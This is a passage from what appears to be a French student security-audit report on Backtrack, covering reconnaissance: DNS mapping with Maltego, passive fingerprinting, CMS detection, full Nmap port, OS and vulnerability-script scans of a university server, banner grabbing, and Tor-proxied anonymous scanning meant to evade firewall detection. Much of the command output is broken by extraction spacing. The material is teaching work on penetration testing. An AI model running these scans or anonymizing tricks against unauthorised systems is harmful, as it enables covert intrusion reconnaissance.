A partir des adresses IP trouves, les reseaux associes sont affiches avec les statistiques pour chacun afin de pouvoireventuellement effectuer un balayage de ports avec des outils comme Nmap ou Unicornscan.

COLLECTE D’INFORMATIONS page 9 sur 41

Page 13: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Maltego

C’est un outil tres performant et plus complexe qu’un simple logiciel pour faire l’enumeration DNS, car il permet detrouver facilement, et de maniere visuelle, des informations telles que les differentes adresses mail d’une personne, desnumeros de telephone qui pourraient lui etre associes, les adresses IP et les reseaux, les serveurs DNS et les serveursmail d’une entreprise, la recherche sur les sites comme Twitter et Facebook d’un utilisateur, etc. Maltego est proposesur le site http://www.paterva.com/web5/ et dispose de plusieurs tutoriels complets sur le site pour sa prise en main,il est pratique et tres performant tout en offrant plusieurs possibilites. Par exemple un scan DNS en utilisant maltegosur uvsq.fr produit le resultat suivant :

Figure 1 – Scan DNS sous Maltego

Passive Fingerprinting

La detection active de services ou de systemes d’exploitation se fait en general en envoyant des paquets specifiquespour differentes situations et en analysant les reponses ou les erreurs envoyees par la machine ciblee (l’outil Nmap estle meilleur exemple). Selon le concept de prise d’empreinte passive, l’adversaire analyse seulement les paquets generessuite a une interaction normale avec la machine hebergeant l’application Web, alors il ne risque pas d’etre detecte pardes pare-feu et on peut decouvrir des informations interessantes.

p0f

L’outil le plus utilise pour le ≪passive fingerprinting≫ est p0f, inclus dans Backtrack. Cependant, il s’agit d’une ancienneversion, donc on telecharge, compile et on lance la derniere version :

r o o t@ b t : ˜# wget h t tp :// lcamtuf . coredump . cx/p0f3 / re l ease s /p0f−l a t e s t . t g z # Telechargementr o o t@ b t : ˜# tar −xv z f p0f−l a t e s t . t g z # Extraction de l ’ archiver o o t@ b t : ˜# cd p0f−3.04b/ ; ./ bu i l d . sh # Compilationr o o t@ b t : ˜ / p0 f −3.04b# ./ p0f # Lancement

p0f est un ≪sniffer≫ capable de nous dire quel type de systeme d’exploitation est utilise par la cible, seulement enanalysant les paquets TCP SYN recus quand la machine essaie de realiser une connexion avec nous ou les paquets

COLLECTE D’INFORMATIONS page 10 sur 41

Page 14: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

TCP SYN+ACK, recus quand c’est nous qui essayons d’interagir avec la cible. Il faut donc faire les premiers pas duTCP ≪handshake≫, meme si nous ne finissons pas l’etablissement de la connexion, pour que p0f puisse capturer despaquets. On utilise telnet pour cela :

r o o t@ b t : ˜# te l n e t sw i f t . prism . uvsq . f r 80T r y i n g 1 9 3 . 5 1 . 2 5 . 2 0 8 . . .Conn ec t ed t o s w i f t . p r i sm . u v s q . f r .Es ca p e c h a r a c t e r i s ’ ˆ ] ’ .ˆCCo n n e c t i o n c l o s e d by f o r e i g n h o s t .

La sortie de p0f nous montre d’abord ce qu’il peut detecter de nos paquets TCP SYN (syn), le MTU du lien utilise parle client, et apres il nous montre la version du systeme d’exploitation du serveur qu’il a trouve en analysant les paquetsTCP SYN ACK (syn+ack) : c’est Linux 2.6.x. Il nous affiche aussi la distance en ≪hops≫ (routeurs) entre nous et leserveur, le MTU du lien utilise par le serveur, et la duree de fonctionnement du client et du serveur (≪uptime≫) :

.− [ 1 92 . 168 . 1 . 52/59337 −> 193 . 51 . 25 . 208/80 ( s yn ) ]−|| c l i e n t = 192 . 168 . 1 . 52/59337| os = L i n u x 3 . x| d i s t = 0| pa rams = t o s : 0 x04| r a w s i g = 4:64+0 : 0 : 1460 :mss ∗10 ,4 :mss , sok , t s , nop , ws : df , i d+:0

‘−−−−

.− [ 1 92 . 168 . 1 . 52/59337 −> 193 . 51 . 25 . 208/80 (mtu ) ]−|| c l i e n t = 192 . 168 . 1 . 52/59337| l i n k = E t h e r n e t o r modem| raw mtu = 1500|‘−−−−

.− [ 1 92 . 168 . 1 . 52/59337 −> 193 . 51 . 25 . 208/80 ( s yn+ack ) ]−|| s e r v e r = 193 . 51 . 25 . 208/80| os = L i n u x 2 . 6 . x| d i s t = 16| pa rams = none| r a w s i g = 4:48+16 : 0 : 1452 :mss ∗4 , 6 :mss , sok , t s , nop , ws : d f : 0|‘−−−−

[ . . . ]

.− [ 1 92 . 168 . 1 . 52/59337 −> 193 . 51 . 25 . 208/80 ( up t ime ) ]−|| s e r v e r = 193 . 51 . 25 . 208/80| up t ime = 145 da y s 15 h r s 49 min (modulo 198 da y s )| r a w f r e q = 249.93 Hz|‘−−−−

Detection du framework Web

Beaucoup d’applications Web sont creees en utilisant des frameworks Web ou des systemes de gestion de contenu(CMS - Content Management System) et d’un point de vue de la securite il est toujours important de savoir quelslogiciels ont ete utilises pour creer l’application et surtout quelles sont leurs versions. En trouvant leurs versions onpeut chercher sur les sites de vulnerabilites pour trouver des failles specifiques a ces frameworks.

BlindElephant

BlindElephant est un outil qui utilise une methode non-intrusive pour la detection des frameworks Web ou CMSutilises par un site. En l’executant avec l’option ≪guess≫ il trouve d’abord le framework utilise :

r o o t@ b t : / p e n t e s t /web/ b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t# python ./ BlindElephant . py www. joomla . org guessP r o b i n g . . .P o s s i b l e app s :j o om l a

COLLECTE D’INFORMATIONS page 11 sur 41

Page 15: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Ensuite, BlindElephant possede des chemins vers les fichiers statiques d’un tel framework Web et calcule les hachagesdes fichiers, en les verifiant avec les valeurs de hachage des fichiers pour les versions du framework qu’il connaıt. Il faitun choix en se basant sur la probabilite des resultats :

r o o t@ b t : / p e n t e s t /web/ b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t# python ./ BlindElephant . py www. joomla . org joomlaLoaded / p e n t e s t /web/ b l i n d e l e p h a n t / s r c / b l i n d e l e p h a n t / dbs / j o om l a . p k l w i t h 39 v e r s i o n s , 3789 d i f f e r e n t i a t i n g

pa th s , and 140 v e r s i o n g r o u p s .S t a r t i n g B l i n d E l e p h a n t f i n g e r p r i n t for v e r s i o n o f j o om l a a t h t t p : / /www . j o om l a . o r g

H i t h t t p : / /www . j o om l a . o r g / l a n g u a g e /en−GB/ en−GB . i n iP o s s i b l e v e r s i o n s b a s ed on r e s u l t : 1 . 5 . 1 8

H i t h t t p : / /www . j o om l a . o r g / h t a c c e s s . t x tF i l e p r o du c ed no match . E r r o r : R e t r i e v e d f i l e doesn ’ t match known f i n g e r p r i n t .

c 3 8 1 f a 8 4 1 1 b6 2 16 7 f d 7 c 9 a 0 6 b2 4 4d f 3 6

[ . . . ]

F i n g e r p r i n t i n g r e s u l t e d i n :1 . 5 . 1 8

Bes t Gues s : 1 . 5 . 1 8

COLLECTE D’INFORMATIONS page 12 sur 41

Page 16: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

Reconnaissance active

Cette etape consiste a interagir directement avec la cible, en etant surtout ≪intrusive≫, c’est-a-dire on essaie dedecouvrir des informations en envoyant a la cible des messages specialement concus pour detecter les service actifset leurs versions, les systemes d’exploitation, les systemes de protection actifs, etc. Puisque ces messages ne font pasnecessairement partie du trafic normal que la cible recoit, souvent il existe des systemes de prevention et de detectiond’un adversaire qui execute ce type d’actions pour faire le scanning, et il existe aussi des risques juridiques apportespar ce type d’actions qu’il faut prendre en compte.

Balayage des ports

Le balayage des ports consiste a faire le scanning des machines pour decouvrir les ports ouverts, les services disponiblessur ces ports et leurs versions, et le systeme d’exploitation de la machine. Il existe beaucoup des techniques pourfaire cela, et Backtrack met a notre disposition un grand nombre d’outils pour aider le testeur de securite avec cesoperations.

Nmap

Nmap est un outil qui reunit la plupart des techniques de balayage des ports et qui offre une interface de commandefacile pour realiser ces operations. Les resultats obtenus suite a la phase d’enumeration DNS peuvent etre fournies aNmap, qui peut prendre comme option un fichier d’adresses a scanner (avec l’option -iL) ou il peut lui-meme faire uneresolution DNS inverse sur une plage d’adresses specifiee en notation CIDR, comme noms d’hotes ou une combinaisondes deux, par exemple :

r o o t@ b t : ˜# nmap −sL g ide . prism . uvsq . f r /24

S t a r t i n g Nmap 5 .61TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 14 :07 CESTS t a t s : 0 : 00 : 01 e l a p s e d ; 0 h o s t s c omp l e t ed (0 up ) , 0 u n d e r g o i n g Hos t D i s c o v e r yP a r a l l e l DNS r e s o l u t i o n o f 256 h o s t s . Timing : About 52.34% done ; ETC : 14 :07 ( 0 : 0 0 : 0 1 r em a i n i n g )Nmap s ca n r e p o r t for f r−uvsq −02. u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 0 )Nmap s ca n r e p o r t for g u i l l o t i n . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 )Nmap s ca n r e p o r t for d r a c u l a . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 2 )Nmap s ca n r e p o r t for n eme s i s . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 0 )Nmap s ca n r e p o r t for c i t r o n i e r . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 2 5 . 1 1 )[ . . . ]Nmap s ca n r e p o r t for r−f e rma t−m1 . r e s e a u . u v s q . f r ( 1 9 3 . 5 1 . 25 . 2 5 2 )Nmap s ca n r e p o r t for r−eu −6006. r e s e a u . u v s q . f r ( 19 3 . 5 1 . 2 5 . 2 5 3 )Nmap s ca n r e p o r t for r−s c i e n c e s . r e s e a u . u v s q . f r ( 1 9 3 . 51 . 2 5 . 2 5 4 )Nmap s ca n r e p o r t for 193 . 51 . 25 . 255Nmap done : 256 IP a d d r e s s e s (0 h o s t s up ) s c a nn ed i n 8 .58 s e c o n d s

Avec l’option -sL Nmap affiche juste une liste d’hotes du reseau specifie avec une resolution DNS inverse pour chacunpar defaut ; il est possible d’enlever la resolution avec l’option -n. Dans la page de manuel (man) sur Backtrackde Nmap, on trouve un grand nombre d’options ainsi que leur contexte d’utilisation. Pour illustrer les principalesfonctionnalites de Nmap, on va faire un balayage de ports standard, avec les options suivantes :– -sS : l’option pour faire un balayage de ports de type ”SYN scan” : il envoye des paquets de type TCP SYN auxports specifies et il classifie chaque port selon la reponse recue (un paquet SYN ACK, RST ou aucune reponse apresplusieurs tentatives) en port ouvert (”open”), ferme (”closed”) our filtre (”filtered”) par un pare-feu. Si d’autrestypes de balayage de ports ne sont pas specifies, ce type est fait par defaut.

– -sV : c’est l’option pour envoyer en plus des paquets specifiques pour decouvrir quel service est actif sur le port trouveet quelle est sa version, selon la reponse recue - Nmap contient des fichiers avec plus de 6000 signatures de reponsepour la detection des services et plus de 2600 signatures de reponse pour la detection des systemes d’exploitation.

– -O : l’option pour detecter le systeme d’exploitation sur le meme principe comme les services. En plus, si Nmap nepeut pas trouver avec exactitude le systeme d’exploitation, il offre plusieurs choix et son niveau de confiance (enpourcentage) pour chacun.

– -Pn : avec cette option Nmap il ne va pas envoyer des messages pour decouvrir si l’hote specifie est en ligne (ce qu’ilfait par defaut avant de chaque balayage).

– -T4 : on specifie la vitesse generale du balayage : 4 signifie le mode ”aggressive”.– -p 1-65535 : on specifie les ports qu’on veut scanner : par defaut Nmap a une liste de ports connus a qui il envoieses sondes, mais ici on veut scanner tous les ports disponibles, de 1 a 65535.

COLLECTE D’INFORMATIONS page 13 sur 41

Page 17: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : ˜# nmap −sS −sV −O −Pn −T4 −p 1−65535 sw i f t . prism . uvsq . f r

S t a r t i n g Nmap 5 .61TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 14 :35 CESTNmap s ca n r e p o r t for s w i f t . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 25 . 2 0 8 )Hos t i s up ( 0 . 034 s l a t e n c y ) .Not shown : 65516 f i l t e r e d p o r t sPORT STATE SERVICE VERSION20/ t c p c l o s e d f t p−da t a21/ t c p c l o s e d f t p22/ t c p open s s h OpenSSH 5 . 9 p1 Deb i an 4 ( p r o t o c o l 2 . 0 )23/ t c p c l o s e d t e l n e t53/ t c p c l o s e d domain80/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6110/ t c p c l o s e d pop3113/ t c p c l o s e d i d e n t143/ t c p c l o s e d imap220/ t c p c l o s e d imap3443/ t c p c l o s e d h t t p s585/ t c p c l o s e d unknown873/ t c p c l o s e d r s y n c993/ t c p c l o s e d imaps995/ t c p c l o s e d pop3s1935/ t c p c l o s e d rtmp2401/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6 ( ( Deb i an ) )5999/ t c p open h t t p Apache h t t p d 2 . 2 . 1 646015/ t c p c l o s e d unknownDe v i c e type : g e n e r a l p u r p o s e |WAP| med i a d e v i c e | r o u t e r | f i r e w a l lRunn i ng ( JUST GUESSING ) : L i n u x 2 . 6 .X | 2 . 4 .X (95%) , Netg ea r embedded (89%) , Wes te rn D i g i t a l embedded (89%) ,

P e p l i n k embedded (88%) , WatchGuard embedded (88%) , D−L i n k embedded (88%) , L i n k s y s embedded (88%) ,L i n k s y s L i n u x 2 . 4 .X (87%)

OS CPE : cpe : / o : l i n u x : k e r n e l : 2 . 6 . 3 1 cpe : / o : l i n u x : k e r n e l : 2 . 6 . 2 2 cpe : / o : l i n k s y s : l i n u x : 2 . 4 cpe : / o : l i n u x : k e r n e l: 2 . 4

A g g r e s s i v e OS g u e s s e s : L i n u x 2 . 6 . 31 (95%) , L i n u x 2 . 6 . 2 3 − 2 . 6 . 3 8 (92%) , L i n u x 2 . 6 . 3 2 (92%) , L i n u x 2 . 6 . 3 5(92%) , L i n u x 2 . 6 . 2 2 (92%) , Netg ea r DG834G WAP o r Wes te rn D i g i t a l WD TV med i a p l a y e r (89%) , OpenWrtKamikaze 7 .09 ( L i n u x 2 . 6 . 2 2 ) (89%) , Smoo thwa l l E x p r e s s 3 . 0 ( L i n u x 2 . 6 . 1 6 ) (88%) , P e p l i n k Ba l a n c e 380r o u t e r (88%) , L i n u x 2 . 6 . 1 8 (88%)

No e x a c t OS matches for h o s t ( test c o n d i t i o n s non− i d e a l ) .S e r v i c e I n f o : OS : L i n u x ; CPE : cpe : / o : l i n u x : k e r n e l

OS and S e r v i c e d e t e c t i o n p e r f o rm e d . P l e a s e r e p o r t any i n c o r r e c t r e s u l t s a t h t t p : / / nmap . o r g / s u bm i t / .Nmap done : 1 IP a d d r e s s (1 h o s t up ) s c a nn ed i n 194 .60 s e c o n d s

On voit que les ports qui n’on pas repondu sont appele ”filtered” - ils sont nombreux : 65516. Pour les ports fermesNmap ne peut pas detecter la version ou le service avec exactitude, mais il offre les noms de services qui sont connussur ces ports, comme specifie dans le fichier /etc/services sur le systemes d’exploitation Ubuntu Linux. Pour les portsouverts on a les services et leurs versions : trois instances du serveur Web Apache, version 2.2.16, sur les ports 80,2401 et 5999, ainsi que le serveur OpenSSH, version 5.9p1, qui implemente le protocole SSHv2. Le systeme de servicen’a pas pu etre bien detecte, donc il affiche plusieurs choix. La ligne ”OS CPE” contient les systemes d’exploitationen notation standardisee CPE (”Common Platform Enumeration”).

En plus, Nmap met a notre disposition le Nmap Scripting Engine (NSE), qui est un systeme pour ecrire des scripts enlangage Lua pour etendre ou completer les fonctions de base. Il y a plus des 350 scripts qui ont ete developpe et il sontorganises en 12 categories : auth, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version,vuln. La liste et la documentation officielle se trouvent a : http://nmap.org/nsedoc/.

Avec l’option –script on peut specifier quelques categories de scripts a essayer. Dans l’exemple suivant, le script”broadcast-avahi-dos” essaie de decouvrir les hotes dans le reseau local en utilisant le protocole DNS-SD (ServiceDiscovery), et envoye un paquet NULL UDP pour tester s’ils sont vulnerables a une attaque ”Denial of Service”(DoS). Le script ”http enum” essaie de traverser les repertoires de l’application Web et de decouvrir ses fichiers, parexemple robots.txt.

La commande pour faire un balayage Nmap en recherchant avec les scripts specifiquement des vulnerabilites sur lesservices actifs (et en faisant aussi plus des tests de version) est :

COLLECTE D’INFORMATIONS page 14 sur 41

Page 18: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : ˜# nmap −sV −−s c r i p t version , vuln −p 1−65535 −T4 sw i f t . prism . uvsq . f r

S t a r t i n g Nmap 5 .61TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 14 :44 CESTPre−s c a n s c r i p t r e s u l t s :| b r o a d c a s t−a va h i−dos :| D i s c o v e r e d h o s t s :| 192 . 168 . 1 . 31| A f t e r NULL UDP a v a h i p a c k e t DoS (CVE−2011−1002) .| Ho s t s a r e a l l up ( no t v u l n e r a b l e ) .Nmap s ca n r e p o r t for s w i f t . p r i sm . u v s q . f r ( 1 9 3 . 5 1 . 25 . 2 0 8 )Hos t i s up ( 0 . 063 s l a t e n c y ) .Not shown : 65516 f i l t e r e d p o r t sPORT STATE SERVICE VERSION20/ t c p c l o s e d f t p−da t a21/ t c p c l o s e d f t p22/ t c p open s s h OpenSSH 5 . 9 p1 Deb i an 4 ( p r o t o c o l 2 . 0 )23/ t c p c l o s e d t e l n e t53/ t c p c l o s e d domain80/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6| h t tp−enum :| / r o b o t s . t x t : Robot s f i l e| / c r o s s d oma i n . xml : Adobe F l a s h c r o s s d om a i n p o l i c y110/ t c p c l o s e d pop3113/ t c p c l o s e d i d e n t143/ t c p c l o s e d imap220/ t c p c l o s e d imap3443/ t c p c l o s e d h t t p s585/ t c p c l o s e d unknown873/ t c p c l o s e d r s y n c993/ t c p c l o s e d imaps995/ t c p c l o s e d pop3s1935/ t c p c l o s e d rtmp2401/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6 ( ( Deb i an ) )5999/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6| h t tp−enum :| / r o b o t s . t x t : Robot s f i l e| / ku s a b a x /manage page . php : Kusabax Image Board46015/ t c p c l o s e d unknownS e r v i c e I n f o : OS : L i n u x ; CPE : cpe : / o : l i n u x : k e r n e l

S e r v i c e d e t e c t i o n p e r f o rm e d . P l e a s e r e p o r t any i n c o r r e c t r e s u l t s a t h t t p : / / nmap . o r g / s u bm i t / .Nmap done : 1 IP a d d r e s s (1 h o s t up ) s c a nn ed i n 791 .87 s e c o n d s

Les methodes de scanner les machines montrees jusqu’a maintenant sont intrusives, c’est-a-dire elles communiquent di-rectement avec la cible, et elles envoient beaucoup des paquets specifiques pour decouvrir ses services, ses vulnerabilitesetc., qui peuvent etre detectes par les pare-feu. Nmap possede plusieurs options pour masquer l’operation de balayage- en tenant compte du fait que le balayage de ports est illegale dans certains pays et alors apparaıtre dans les journauxdes paquets des pare-feu est indesirable. Une presentation excellente des techniques pour depasser les verifications despare-feu et des exemples pour se defendre contre Nmap se trouve dans le chapitre 10 ”Detecting and Subverting Fire-walls and Intrusion Detection Systems” et le chapitre 11 ”Defenses Against Nmap” du guide officiel ”Nmap NetworkScanning” [Lyo08].

Neanmoins, il existe une autre facon de faire les balayages de ports et de preserver notre anonymat en meme temps. Ilfaut d’abord installer le logiciel Tor, qui n’est pas compris par defaut dans la suite des outils de la distribution Backtrack- le guide d’installation se trouve a https://www.torproject.org/docs/debian.html.en ; pour Backtrack 5 R2 lechamp ¡DISTRIBUTION¿ doit etre remplace par ”lucid”. Tor met a notre disposition un reseau de serveurs proxy quiobscurcit la route de nos paquets par des moyens cryptographiques. On verifie que Tor a ete bien installe :

r o o t@ b t : ˜# ne t s ta t −tu lnp | grep ” tcp ”t c p 0 0 1 2 7 . 0 . 0 . 1 : 7 3 3 7 0 . 0 . 0 . 0 : ∗ LISTEN 1083/ p o s t g r e st cp 0 0 1 2 7 . 0 . 0 . 1 : 5 4 3 2 0 . 0 . 0 . 0 : ∗ LISTEN 828/ p o s t g r e st cp 0 0 1 2 7 . 0 . 0 . 1 : 9 0 5 0 0 . 0 . 0 . 0 : ∗ LISTEN 1101/ t o r

et on observer qu’il est actif sur le port 9050. Ensuite, dans Backtrack 5 R2 on a l’outil proxychains qui envoie lespaquets generes de la commande qu’il prend comme parametre au serveur proxy configure. Par defaut la configurationest deja mise en place pour Tor, donc il nous reste juste d’executer un balayage de ports en utilisant proxychains :

COLLECTE D’INFORMATIONS page 15 sur 41

Page 19: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : ˜# proxychains nmap −Pn −n −sV −−version−a l l 193.51.25.208Pro xyCha i n s −3.1 ( h t t p : / / p r o x y c h a i n s . s f . n e t )

S t a r t i n g Nmap 5 .61TEST4 ( h t t p : / / nmap . o r g ) a t 2012−05−04 12 :07 CEST| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:22−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:80−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:80−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:5999−<><>−OK| S−c h a i n |−<>−127.0.0.1:9050−<><>−193.51.25.208:2401−<><>−OKNmap s ca n r e p o r t for 193 . 51 . 25 . 208Hos t i s up ( 0 . 088 s l a t e n c y ) .Not shown : 984 f i l t e r e d p o r t sPORT STATE SERVICE VERSION20/ t c p c l o s e d f t p−da t a21/ t c p c l o s e d f t p22/ t c p open s s h OpenSSH 5 . 9 p1 Deb i an 4 ( p r o t o c o l 2 . 0 )23/ t c p c l o s e d t e l n e t53/ t c p c l o s e d domain80/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6110/ t c p c l o s e d pop3113/ t c p c l o s e d i d e n t143/ t c p c l o s e d imap443/ t c p c l o s e d h t t p s873/ t c p c l o s e d r s y n c993/ t c p c l o s e d imaps995/ t c p c l o s e d pop3s1935/ t c p c l o s e d rtmp2401/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6 ( ( Deb i an ) )5999/ t c p open h t t p Apache h t t p d 2 . 2 . 1 6S e r v i c e I n f o : Hos t : s w i f t . p r i sm . u v s q . f r ; OS : L i n u x ; CPE : cpe : / o : l i n u x : k e r n e l

S e r v i c e d e t e c t i o n p e r f o rm e d . P l e a s e r e p o r t any i n c o r r e c t r e s u l t s a t h t t p : / / nmap . o r g / s u bm i t / .Nmap done : 1 IP a d d r e s s (1 h o s t up ) s c a nn ed i n 51 .83 s e c o n d s

La limitation de cette methode est que Tor anonymise seulement les paquets TCP, rien de plus, donc pour preservernotre anonymat il faut utiliser l’option -Pn pour desactiver l’envoie par defaut des paquets ICMP pour decouvrir sil’hote est actif, et l’option -n pour ne pas faire la resolution DNS inverse, qui pourrait envoyer des paquets UDP. Onvoit qu’on a les memes resultats comme avant, mais en plus on voit que proxychains a fonctionne bien (les lignes—S-chain—). On a utilise l’option –version-all pour faire tous les tests, meme les plus agressifs, pour decouvrir lesservices et leurs versions, parce que le risque d’etre detecte par un pare-feu n’existe plus.

Banner grabbing

La methode de recuperation de bannieres applicatives (banner grabbing) est souvent utilise pour trouver la versiondes systemes d’exploitation ou des services reseau actifs sur les serveurs HTTP, SMTP, SSH, FTP, etc.

HTTSquash

HTTSquash est un outil minimale pour faire les banner grabbing des serveurs Web. On a deja vu les versions duserveurs HTTP trouves avec Nmap sur la machine 193.51.25.208, mais il vaut mieux verifier avec HTTSquash pourvoir quels sont les en-tetes HTTP en fait.

Dans l’exemple suivant on voit que cette fois les serveurs sur les ports 80 et 5999 disent qu’ils utilisent Happstack/6.0.3,tandis que avec Nmap on a obtenu Apache 2.2.16 :

COLLECTE D’INFORMATIONS page 16 sur 41

Page 20: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

r o o t@ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# ./ ht tsquash −r sw i f t . prism . uvsq . f r −p 80FOUND : 1 93 . 51 . 25 . 208 80HTTP/1 .1 200 OKDate : Sun , 06 May 2012 08 : 46 : 53 GMTS e r v e r : Happ s t a ck / 6 . 0 . 3Conten t−Type : t e x t / h tm l ; c h a r s e t=u t f −8Vary : Accep t−Encod i n gT r a n s f e r−Encod i n g : chunked

r o o t@ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# ./ ht tsquash −r sw i f t . prism . uvsq . f r −p 2401FOUND : 1 93 . 51 . 25 . 208 2401HTTP/1 .1 302 FoundDate : Sun , 06 May 2012 08 : 46 : 49 GMTS e r v e r : Apache /2 . 2 . 16 ( Deb i an )L o c a t i o n : h t t p s : / / ca s−dev . u v s q . f r / l o g i n ? s e r v i c e=h t t p%3a%2 f%2 f s w i f t . p r i sm . u v s q . f r%3a2401%2 fVa ry : Accep t−Encod i n gConten t−L eng th : 345Conten t−Type : t e x t / h tm l ; c h a r s e t=i s o −8859−1

r o o t@ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# ./ ht tsquash −r sw i f t . prism . uvsq . f r −p 5999FOUND : 1 93 . 51 . 25 . 208 5999HTTP/1 .1 200 OKDate : Sun , 06 May 2012 08 : 46 : 51 GMTS e r v e r : Happ s t a ck / 6 . 0 . 3Conten t−Type : t e x t / h tm l ; c h a r s e t=u t f −8Vary : Accep t−Encod i n gT r a n s f e r−Encod i n g : chunked

Avec HTTSquash on peut aussi scanner une plage d’adresses IP pour voir quels type de serveurs Web sont utilises ;donc, sur la liste des adresses IP trouvee au debut avec Nmap on execute :

r o o t@ b t : / p e n t e s t / s c a n n e r s / h t t s q u a s h# ./ ht tsquash −r 193.51.25.1−254 −p 80FOUND : 1 93 . 51 . 25 . 15 80HTTP/1 .1 200 OKCache−c o n t r o l : no−c a ch eConten t−Type : a p p l i c a t i o n / o c t e t−s t r e amHTTP/1 .0 200 OKCon n e c t i o n : c l o s eCon ten t−L eng th : 181Conten t−Type : t e x t / h tm l

[ . . . ]

FOUND : 1 93 . 51 . 25 . 104 80HTTP/1 .1 200 OKDate : Sun , 06 May 2012 08 : 54 : 33 GMTS e r v e r : Apache /2 . 2 . 11 ( Deb i an ) DAV/2 SVN /1 . 5 . 6 PHP/5.2.9−4 w i t h Suho s i n−Patch mo d s s l /2 . 2 . 11 OpenSSL / 0 . 9 . 8 kLa s t−Mod i f i e d : F r i , 13 Mar 2009 15 : 17 : 00 GMTETag : ”4ba63−13−46501979 f1300”Accep t−Ranges : b y t e sCon ten t−L eng th : 19Conten t−Type : t e x t / h tm l

[ . . . ]

Detection de Web Application Firewall (WAF)

Alors que les pare-feu sur une machine ne filtrent le trafic de reseau qu’en se basant sur un ensemble de regles fixes, sansanalyser le contenu des paquets, les pare-feu pour les application Web fonctionne a un niveau superieur, et peuventanalyser les requetes HTTP recues - pour accepter seulement ceux qui ne correspondent pas aux attaques XSS ou SQLinjection par exemple, peuvent detecter un balayage de ports qui precede une attaque et enregistrer meme le contenudes requetes recus etc. A l’heure actuelle un pare-feu d’application Web peut etre deploye sur un serveur Web, integredans l’application, ou sur un proxy inverse qui gere une plage des serveurs Web. Il existe aussi l’option d’installerun tel pare-feu distribue, ils sont appelees dWAF, ≪distributed WAF≫ et ils consistent de plusieurs composants quipeuvent exister dans les differentes regions d’un reseau, ou d’utiliser un service ≪cloud≫ - plusieurs entreprises mettenta disposition des WAF virtuels, ≪cloud-based WAFs≫, dont la seule modification pour le client est d’acheminer leurtrafic vers les serveurs de l’entreprise.

waffit

Sous Backtrack 5 il existe plusieurs outils pour la detection des pare-feu, mais pour les pare-feu d’applications Web on

COLLECTE D’INFORMATIONS page 17 sur 41

Page 21: Audit de s´ecurit´e avec Backtrack - prism.uvsq.fr · Il faut faire une distinction claire entre ≪penetration testing ... Audit de s´ecurit´e avec Backtrack DumitrescuAndrei

Audit de securite avec BacktrackDumitrescu AndreiEl Raousti Habib

va utiliser waffit. En l’executant avec option -l il peut nous dire quels sont les WAFs dont il supporte la detection, eton trouve les noms bien-connus comme ModSecurity, Imperva etc. Si on l’execute en ciblant le site d’avant, qui nousa donne de differents resultats pour son serveur Web, on voit qu’il et protege par un WAF :

r o o t@ b t : / p e n t e s t /web/ w a f f i t# ./wafw00f . py h t tp :// sw i f t . prism . uvsq . f r

[ . . . ]

